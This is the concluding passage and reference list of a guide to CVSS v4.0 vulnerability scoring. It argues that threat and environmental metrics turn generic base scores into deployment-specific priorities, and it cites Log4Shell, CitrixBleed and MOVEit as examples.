The three-layer model (CVSS-B → CVSS-BT → CVSS-BTE) gives your team the tools to translate a generic score into a deployment-specific one. Threat metrics (E + EPSS) eliminate the false urgency from the 95% of CVEs with no known exploit. Environmental metrics eliminate the false priority from scoring isolated systems as if they were internet-facing.

The real-world examples in this guide — Log4Shell, CitrixBleed, MOVEit, Erlang/OTP, firmware reports — illustrate both directions of this system. Sometimes (Log4Shell, CitrixBleed) the 10.0 score is correct, and environmental arguments are irrelevant: you patch immediately because active exploitation is confirmed and your exposure is real. Sometimes (internal OT sensor, air-gapped development system) a 9.8 Base score correctly becomes a 3.9 Low, not because the vulnerability is less dangerous, but because your deployment makes exploitation genuinely difficult and downstream impact genuinely limited.

That is not gaming the system. That is using the system correctly.

References

1. CVSS v4.0 Specification — FIRST.org: https://www.first.org/cvss/v4-0/
2. CVSS v4.0 Consumer Implementation Guide — FIRST.org: https://www.first.org/cvss/v4.0/implementation-guide
3. CVSS v4.0 User Guide — FIRST.org: https://www.first.org/cvss/user-guide
4. EPSS (Exploit Prediction Scoring System) — FIRST.org: https://www.first.org/epss/
5. CISA Known Exploited Vulnerabilities Catalog — CISA: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
6. SSVC (Stakeholder-Specific Vulnerability Categorization) — CISA: https://www.cisa.gov/ssvc
7. NVD (National Vulnerability Database) — NIST: https://nvd.nist.gov
8. NVD API 2.0 Documentation: https://nvd.nist.gov/developers/vulnerabilities
9. CVE-2021–44228 (Log4Shell) — Apache: https://logging.apache.org/log4j/2.x/security.html
10. CVE-2023–4966 (CitrixBleed) — Citrix: https://support.citrix.com/article/CTX579459
11. CVE-2023–34362 (MOVEit SQLi) — Progress: https://www.progress.com/security
12. CVE-2024–21762 (FortiOS) — Fortinet: https://www.fortiguard.com/psirt/FG-IR-24-015
13. CVE-2025–32433 (Erlang/OTP SSH) — Erlang security advisories: https://www.erlang.org/security
14. “CVSS: A Scoring System or a Tool?” — Oren Yulevitch, CVSS SIG presentation
15. “Enhancing National Cyber Resilience: CVSS v4.0 as a Regulatory Framework” — Rob Arnold, Acorn Pass / CVSS Associates (2025)
16. Joint Advisory: Apache Log4j Vulnerability — CISA, FBI, NSA (December 2021): https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
17. CISA Advisory: Volt Typhoon (CVE-2024–21762 context): https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a